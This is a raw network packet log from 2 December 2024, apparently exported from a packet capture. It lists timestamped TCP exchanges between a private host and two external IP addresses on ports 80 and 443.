Dec 2, 2024 07:37:26.041744947 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.041806936 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.041846991 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.044553995 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.044610977 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.044656038 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.044727087 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.047641993 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.047696114 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.047730923 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.047787905 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.050673008 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.050736904 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.050770998 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.050820112 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.053632975 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.053725958 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.053735971 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.053778887 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.056646109 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.056730986 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.056742907 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.056821108 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.059436083 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.059521914 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.059544086 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.059576988 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.062455893 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.062520981 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.062563896 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.062618971 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.065184116 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.065246105 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.065362930 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.065412045 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.068016052 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.068092108 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.102242947 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.102308989 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.102401972 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.102459908 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.103301048 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.103355885 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.103393078 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.103454113 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.105494022 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.105561972 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.105642080 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.105729103 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.107798100 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.107870102 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.107907057 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.107954025 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.109877110 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.109945059 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.109946012 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.110009909 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.112035990 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.112102032 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.112190008 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.112240076 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.114185095 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.114263058 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.114275932 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.114339113 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.116332054 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.116422892 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.116446018 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.116491079 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.118556976 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.118630886 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.118663073 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.118700027 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.120721102 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.120793104 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.120883942 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.121042967 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.122855902 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.122926950 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.123085022 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.123127937 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.125243902 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.125287056 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.125297070 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.125333071 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.127266884 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.127335072 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.127358913 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.127410889 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.129410028 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.129513979 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.129534960 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.129580975 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.131577015 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.131650925 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.131680012 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.131748915 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.133734941 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.133847952 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.133853912 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.133891106 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.135924101 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.135986090 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.136020899 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.136070013 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.138101101 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.138175011 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.138210058 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.138278961 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.140374899 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.140448093 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.140480995 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.140536070 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.142569065 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.142580986 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.142635107 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.144581079 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.144637108 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.154725075 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.154788017 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.154817104 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.154865980 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.155783892 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.155836105 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.155883074 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.155992985 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.158051014 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.158117056 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.158121109 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.158171892 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.160195112 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.160265923 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.160304070 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.160360098 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.162353992 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.162409067 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.162532091 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.162584066 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.165036917 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.165091038 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.165113926 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.165169954 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.166949034 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.166984081 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.167031050 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.167836905 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.168859005 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.168931007 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.168956995 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.169011116 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.171006918 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.171065092 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.171104908 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.171191931 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.173263073 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.173342943 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.173387051 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.173438072 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.175347090 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.175394058 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.175496101 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.175565004 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.177550077 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.177598953 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.177678108 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.177731991 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.179716110 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.179809093 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.179836988 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.179918051 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.211668015 CET	443	49734	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:26.211730957 CET	443	49734	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:26.211879969 CET	49734	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:26.212198973 CET	49734	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:26.212223053 CET	443	49734	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:26.212234974 CET	49734	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:26.212240934 CET	443	49734	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:26.212723970 CET	443	49732	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:26.212774038 CET	443	49732	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:26.212819099 CET	49732	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:26.212918043 CET	49732	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:26.212920904 CET	443	49732	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:26.212929964 CET	49732	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:26.212933064 CET	443	49732	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:26.215856075 CET	49736	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:26.215859890 CET	49737	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:26.215902090 CET	443	49737	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:26.215919018 CET	443	49736	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:26.216007948 CET	49736	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:26.216008902 CET	49737	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:26.216180086 CET	49736	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:26.216181993 CET	49737	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:26.216195107 CET	443	49737	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:26.216202021 CET	443	49736	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:26.233485937 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.233620882 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.233638048 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.233675003 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.234570026 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.234618902 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.234793901 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.234909058 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.237091064 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.237149000 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.237340927 CET	443	49733	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:26.237386942 CET	443	49733	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:26.237437010 CET	49733	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:26.237669945 CET	49733	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:26.237683058 CET	443	49733	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:26.237694025 CET	49733	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:26.237699986 CET	443	49733	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:26.237745047 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.237812996 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.237973928 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.238080978 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.239701986 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.239783049 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.240281105 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.240344048 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.241348982 CET	49738	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:26.241388083 CET	443	49738	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:26.241455078 CET	49738	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:26.241678953 CET	49738	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:26.241693020 CET	443	49738	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:26.241897106 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.241967916 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.242804050 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.242862940 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.244050980 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.244119883 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.244365931 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.244429111 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.246165037 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.246186018 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.246222973 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.246249914 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.248169899 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.248230934 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.248259068 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.248311043 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.250147104 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.250212908 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.250983953 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.251044989 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.252150059 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.252243042 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.252284050 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.252338886 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.254089117 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.254141092 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.254203081 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.254255056 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.255975008 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.256026983 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.256061077 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.256119967 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.257755995 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.257821083 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.258080959 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.258167028 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.259581089 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.259669065 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.260160923 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.260204077 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.261373043 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.261439085 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.261831045 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.261883974 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.263109922 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.263173103 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.263339996 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.263417959 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.264866114 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.264950991 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.264987946 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.265103102 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.266663074 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.266680956 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.266746044 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.266787052 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.268269062 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.268325090 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.268505096 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.268573046 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.269957066 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.270006895 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.270160913 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.270232916 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.271663904 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.271723986 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.272375107 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.272419930 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.273281097 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.273363113 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.304620981 CET	443	49731	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:26.304689884 CET	443	49731	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:26.304766893 CET	49731	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:26.305059910 CET	49731	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:26.305078030 CET	443	49731	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:26.305090904 CET	49731	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:26.305095911 CET	443	49731	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:26.308670044 CET	49739	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:26.308701038 CET	443	49739	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:26.308813095 CET	49739	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:26.309026957 CET	49739	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:26.309040070 CET	443	49739	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:26.312716961 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.312825918 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.313107967 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.313172102 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.313296080 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.313361883 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.313390017 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.313493967 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.314246893 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.314344883 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.315197945 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.315274000 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.315371990 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.315388918 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.315440893 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.315440893 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.316494942 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.316582918 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.317063093 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.317130089 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.317701101 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.317766905 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.318257093 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.318322897 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.318857908 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.318876028 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.318938017 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.320173979 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.320235014 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.320324898 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.320427895 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.321181059 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.321197033 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.321239948 CET	49724	80	192.168.2.6	185.215.113.206
